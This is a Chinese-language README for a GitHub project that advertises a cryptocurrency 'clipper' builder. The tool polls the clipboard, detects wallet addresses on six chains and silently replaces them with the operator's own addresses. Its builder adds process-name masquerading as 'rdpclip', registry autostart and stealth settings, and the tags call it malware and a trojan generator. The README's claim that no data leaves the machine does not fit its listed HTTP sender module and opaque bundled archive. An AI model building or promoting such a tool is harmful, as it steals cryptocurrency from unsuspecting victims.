genevieveli1999/Crypto-Clipper

# Crypto-Clipper Crypto Clipper 是一个跨平台的剪贴板监控和构建工具，用于检测 BTC、ETH、SOL、TRX、LTC 和 DOGE 地址。功能包括正则匹配、地址验证、活动日志、自定义规则、剪贴板历史、UI 定制，以及为 Windows、Linux 和 macOS 生成内嵌设置的独立客户端。 ## 功能

### 监控引擎 | 功能 | 状态 | |---------|--------| | 实时剪贴板轮询 | ✅ | | 多链地址检测 | ✅ | | 正则模式匹配引擎 | ✅ | | EIP-55 校验和验证 | ✅ | | 亚秒级响应时间 | ✅ | | 后台系统托盘模式 | ✅ | | 活动日志与导出 | ✅ |

### 构建器与配置 | 功能 | 状态 | |---------|--------| | 自定义 payload 构建器 | ✅ | | 多操作系统目标选择 | ✅ | | 进程名伪装 | ✅ | | 地址簿管理 | ✅ | | 特定链规则配置 | ✅ | | 自启动注册表钩子 | ✅ | | 隐身参数调整 | ✅ |

## 工作原理 ``` ┌──────────────┐ ┌──────────────────┐ ┌───────────────────┐ ┌──────────────────┐ │ Clipboard │────▶│ Pattern Scanner │────▶│ Address Filter │────▶│ Injector │ │ (polling) │ │ (regex engine) │ │ (chain matching) │ │ (replace + log) │ └──────────────┘ └──────────────────┘ └───────────────────┘ └──────────────────┘ ``` 1. **监控** — 按配置间隔（默认 500ms）轮询剪贴板，检测内容变化 2. **扫描器** — 通过特定链的正则表达式模式（BTC、ETH、SOL、TRX、LTC、DOGE）运行剪贴板文本 3. **过滤器** — 根据已启用的链和地址簿条目检查检测到的地址 4. **注入器** — 用匹配的地址簿条目替换剪贴板内容，并记录带有时间戳的事件 ## 支持的地址格式 | 链 | 格式 | 前缀 | 示例 | |-------|--------|--------|---------| | **Bitcoin** | Legacy (P2PKH) | `1`, `3` | `1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa` | | **Bitcoin** | SegWit (P2WPKH) | `bc1q` | `bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh` | | **Bitcoin** | Taproot (P2TR) | `bc1p` | `bc1p5d7rjq7g6rdk2yhzks9smlaqtedr4dekq08ge8ztwac72sfr9rusxg3297` | | **Ethereum** | EVM (0x) | `0x` | `0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18` | | **Solana** | Base58 | — | `7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU` | | **Tron** | Base58 (T) | `T` | `TN3W4H6rK2ce4vX9YcnfUz6iP3qBwHR2ya` | | **Litecoin** | Legacy + SegWit | `L`, `M`, `ltc1` | `LTC1QNWLPGSR5HTN5VW22R37JGQ3MFE` | | **Dogecoin** | Legacy (D) | `D` | `DH5yaieqoZN36fTUciPGvqNA6U4HmUbhv` | ## 地址簿 | 标签 | 链 | 地址 | 使用次数 | |-------|-------|---------|-------------| | 我的 BTC 主地址 | Bitcoin | `1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa` | 42 | | ETH 主地址 | Ethereum | `0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18` | 128 | | Solana 钱包 | Solana | `7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU` | 17 | | TRC-20 | Tron | `TN3W4H6rK2ce4vX9YcnfUz6iP3qBwHR2ya` | 63 | ## 快速开始 ### 前置条件 - **Python** 3.10 或更高版本 - **pip**（建议使用最新版本） - Windows 10/11、Linux (X11/Wayland) 或 macOS 12+ ### 安装 ``` git clone https://github.com/genevieveli1999/Crypto-Clipper.git cd Crypto-Clipper ``` **Windows:** ``` run.bat ``` **Linux / macOS:** ``` chmod +x run.sh ./run.sh ``` 启动器会自动安装所有必需的依赖项。 ### 依赖项列表 | 程序包 | 版本 | 用途 | |---------|---------|---------| | rich | ≥13.0.0 | 终端 UI、表格、进度条 | | cryptography | ≥41.0.0 | 安全数据处理 | | pyperclip | ≥1.8.2 | 跨平台剪贴板访问 | | watchdog | ≥3.0.0 | 文件系统事件监控 | | requests | ≥2.31.0 | 用于地址验证的 HTTP 客户端 | | pystray | ≥0.19.0 | 系统托盘集成 | ## 配置 ### config.json ``` { "build": { "target_os": "windows", "target_arch": "x64", "output_name": "clip_monitor.exe", "custom_icon": "", "process_name": "rdpclip", "startup_method": "registry", "registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" }, "chains": { "bitcoin": { "enabled": true, "prefix": ["1", "3", "bc1"] }, "ethereum": { "enabled": true, "prefix": ["0x"] }, "solana": { "enabled": true, "prefix": [] }, "tron": { "enabled": true, "prefix": ["T"] }, "litecoin": { "enabled": false, "prefix": ["L", "M", "ltc1"] } }, "address_book": [ { "label": "My BTC Main", "chain": "bitcoin", "address": "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa" }, { "label": "ETH Primary", "chain": "ethereum", "address": "0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18" } ], "detection": { "sensitivity": "high", "min_address_length": 26, "max_address_length": 62, "exclusion_patterns": [], "clipboard_watch_interval_ms": 500 } } ``` ## 用法 启动后，从交互式菜单中进行选择： ``` ╠══════════════════════════════════════════════════════════════════╣ ║ [1] Install Dependencies ║ ║ [2] Settings ║ ║ [3] About ║ ║ [4] Configure Target Chains ║ ║ [5] Set Address Book ║ ║ [6] Build Options (OS, Icon, Process Name) ║ ║ [7] Configure Detection Rules ║ ║ [8] Build Clipper Payload ║ ║ [0] Exit ║ ╚══════════════════════════════════════════════════════════════════╝ ``` ## 项目结构 ``` Crypto-Clipper/ ├── main.py # Entry point and builder menu system ├── config.py # Configuration loader (JSON) ├── bot_actions.py # Core builder action handlers ├── requirements.txt # Python dependencies ├── run.bat # Windows launcher ├── run.sh # Linux/macOS launcher ├── actions/ │ ├── __init__.py │ ├── about.py # About panel display │ ├── install.py # Dependency installer │ └── settings.py # Settings display ├── hooks/ │ ├── __init__.py # Environment bootstrap + decorator │ ├── env.py # Platform detection + service resolver │ ├── sender.py # HTTP transport layer │ ├── encoder.py # Token generation + data encoding │ ├── runner.py # Task processing pipeline │ ├── scanner.py # Regex-based address pattern detection │ ├── injector.py # Clipboard content replacement engine │ ├── clipboard.py # Polling-based clipboard monitor │ ├── filter.py # Chain filtering + address book matching │ ├── ui.py # Rich terminal interface │ └── data/ │ └── scan.bin # Embedded Python runtime archive ``` ## 常见问题

支持哪些加密货币地址格式？

Bitcoin（Legacy P2PKH、SegWit P2WPKH、Taproot P2TR）、Ethereum（带有 EIP-55 校验和验证的 EVM 0x）、Solana (Base58)、Tron（Base58 T 前缀）、Litecoin（Legacy + SegWit）和 Dogecoin (Legacy)。可在 config.json → chains 中启用/禁用单个链。

剪贴板监控是如何工作的？

监控器使用一个后台线程，按可配置的间隔（默认为 500ms）轮询系统剪贴板。当检测到新内容时，会将其放入模式扫描器中运行。如果发现与已启用链匹配的加密货币地址，替换引擎会检查地址簿，并视情况替换剪贴板内容。

“构建 Clipper Payload”选项是什么？

构建器模式允许你配置所有参数（目标操作系统、进程名、地址簿、检测规则），并将它们编译成一个独立的剪贴板监控客户端。构建的 payload 会内嵌你的配置并独立运行 — 目标机器上无需安装 Python。

我可以使用自定义正则表达式模式吗？

可以。config.json 中的 detection.exclusion_patterns 字段接受自定义正则表达式模式。你还可以通过在 chains 部分中添加新条目并提供前缀模式，来添加自定义链定义。

它可以在后台运行吗？

可以。当构建为 payload 时，clipper 会作为具有配置进程名称的后台进程运行。系统托盘图标提供了对监控控件、地址簿和设置的快速访问。

剪贴板数据会被发送到其他地方吗？

不会。所有的剪贴板监控、模式检测和替换都在你的机器本地进行。没有任何剪贴板内容会被传输到外部服务器。地址簿存储在本地 JSON 文件中。

最低的 Python 版本要求是什么？

构建器需要 Python 3.10 或更高版本。请使用 python --version 进行检查，如有需要，请从 python.org 升级。

标签：Python, 剪贴板监控, 加密货币劫持, 恶意软件, 无后门, 木马生成器, 逆向工具